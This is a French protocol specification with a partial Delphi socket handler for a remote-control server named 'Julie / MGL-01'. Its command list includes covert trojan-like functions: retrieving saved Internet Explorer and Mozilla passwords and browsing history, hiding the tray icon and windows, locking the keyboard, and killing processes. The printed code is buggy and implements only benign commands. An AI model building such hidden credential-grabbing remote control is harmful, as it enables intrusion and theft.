Ce protocole est mis sur pied pour faciliter la gestion des informations au niveau du codage du serveur << Julie / MGL-01 >>. Il est constitué d’une chaine de caractères disposés de façon ordonnée et lisible par le programmeur et est donc standardisé de part sa forme.
Ce protocole se forme trois (03) principales parties : La tête ; Le corps ; Les membres.
1234567890|1234567890|1234567890
123456789012345678901234567890
CD........OPEN......D
CD........CLOSE.....D
SCREEN....CHANGE_RES1024......768
KEY.......TOUCH.....A
MOUSE.....MOVE......2.........2
La tête : Elle contient les 10 premiers caractères y compris les espaces vides.
Exemple : CD........
Elle sert à identifier les catégories de commandes pour simplifier le regroupement de code et une bonne lecture.
Le corps : cette partie contient les 10 caractères suivants y compris les espaces vides à savoir du 11ème au 20ème caractère.
Exemple : OPEN......
Elle sert à identifier précisément la fonction appartenant à une catégorie.
Les membres : cette partie contient les 10 caractères suivants y compris les espaces vides à savoir du 21ème au 30ème caractère.
Exemple : D ou encore 1024......768
Elle sert à identifier les paramètres de la fonction.
Exemple de traitement du protocole MGL :
Protocole :
123456789012345678901234567890
CD........OPEN......D
CD........CLOSE.....D
SCREEN....CHANGE_RES1024......768
KEY.......TOUCH.....A
MOUSE.....MOVE......2.........2
Code :
procedure TForm1.ServerSocket1ClientRead(Sender: TObject; Socket: TCustomWinSocket);
var
Txt : string;
Category, Command, Param1, Param2: string;
begin
Txt:=Socket.ReceiveText;
Category := Trim(Copy(Txt, 1, 10));
Commande := Trim(Copy(Txt, 11, 10));
if Category = 'CD' then
begin
if Commande = 'OPEN' then
begin
Param1 := Copy(Txt, 21, 1);
OpenCD(Param1[1]);
end
else
if Commande = 'CLOSE' then
begin
Param1 := Copy(Txt, 21, 1);
CloseCD(Param1[1]);
end;
end
else
if Category = 'SCREEN' then
begin
if Commande = 'CHANGE_RES' then
begin
Param1 := Trim(Copy(Txt, 21, 10));
Param2 := Trim(Copy(Txt, 31, 10));
ChangeResolution(StrToInt(Param1), StrToInt(Param2));
end
end
else
if Category = 'KEY' then
begin
if Commande = 'TOUCH' then
begin
Param1 := Copy(Txt, 21, 1);
GetKeyboardState(Ord(Param1[1]));
end
end
else
if Category = 'MOUSE' then
begin
Param1 := Trim(Copy(Txt, 21, 10));
Param2 := Trim(Copy(Txt, 31, 10));
SetCursorPos(StrToInt(Param1), StrToInt(Param2));
end;
end;
PROTOCOLE DE COMMUNICATION :
PROTOCOLE MGL
PROTOCOLE DE SENDTEXT DU CLIENTSOCKET
CD........OPEN
CD........CLOSE
SCREEN....CHANGE_RES1024......768
SCREEN....OFF
SCREEN....ON
MOUSE.....MOVE......2.........2
MOUSE.....HIDE
BARRE_T...HIDE
BARRE_T...SHOW
FENETRE...GETNAME
FENETRE...HIDE
FENETRE...SHOW
MSG.......SHOW......monmessage
IE........OPEN......http://www.a.com
IE........GETHISTORY
IE........GETPASS
MOZILLA...GETPASS
TIME
PROGRAM...GETLIST
PROCESS...GETLIST
PROCESS...KILL
SERVICE...GETLIST
SYSTEM....REBOOT
SYSTEM....STOP
SYSTEM....SLEEP
SYSTEM....GETINFO
SYSTEM....GETPERIF
KEYBOARD..LOCK
KEYBOARD..UNLOCK
ICON......SHOW
ICON......HIDE
FOLDER....FIND......monpath
PROTOCOLE DE READ DU CLIENTSOCKET
FENETRE...GETNAME...nomfenetre
IE........GETHISTORY
IE........GETPASS
MOZILLA...GETPASS
TIME................monheure
PROGRAM...GETLIST...monprogram
PROCESS...GETLIST...monprocess
SERVICE...GETLIST...monservice
SYSTEM....GETINFO...moninfo
SYSTEM....GETPERIF..monperif
FOLDER....FIND......monpath
PROTOCOLE DE SENDTEXT DU SERVERSOCKET
( C'est le même que celui du read du Clientsocket )
PROTOCOLE DE READ DU SERVERSOCKET
( C'est le même que celui du read du Serversocket )